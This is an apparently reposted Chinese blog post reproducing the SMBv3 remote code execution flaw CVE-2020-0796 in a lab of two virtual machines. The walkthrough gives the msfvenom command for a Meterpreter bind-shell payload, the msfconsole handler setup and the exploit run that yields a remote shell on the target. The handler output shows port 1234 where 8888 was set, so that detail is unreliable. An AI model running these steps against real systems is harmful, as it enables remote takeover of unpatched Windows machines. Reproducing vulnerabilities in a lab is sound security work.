CVE-2020-0796漏洞复现

1 漏洞简介
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。

2 影响范围
漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
2|1 SMB介绍
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

3 复现步骤
3|1环境要求
1.win10虚拟机(1903版本)
ip:192.168.93.132
2.关闭defender和防火墙
3.Kali Linux(确保可以和win10虚拟机ping通)
ip:192.168.93.128
3|2利用步骤
(1)首先验证目标靶机是否存在漏洞,打开验证脚本,输入python3 scanner.py 192.168.93.132,出现vulnerable证明该靶机存在漏洞。

(2)生成python的反弹shellcode,输入msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b 'x00' -i 1 -f python

找到生成的shellcode

打开利用poc,切换到对应目录下找到exploit.py,找到这一段

(3)用生成的shellcode将shell脚本工具里面的exploit.py中的user_payload替换掉。保留前面的名字,只替换内容,如图:

(4)启动msfconsole,设置监听端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.93.132
rhost => 192.168.93.132
msf5 exploit(multi/handler) > set lport 8888
lport => 1234
msf5 exploit(multi/handler) > run

开启监听端口后,再去运行exploit.py
python3 exploit.py -ip 192.168.93.132

连接成功,反弹meterpreter窗口,得到shell

输入shell进入windows CMD控制台

发现存在乱码现象,输入chcp 65001解决乱码问题

输入ipconfig查看目标靶机IP信息

输入net user查看当前用户:

办法总比困难多
原文地址:https://www.cnblogs.com/dzhhh/p/13153101.html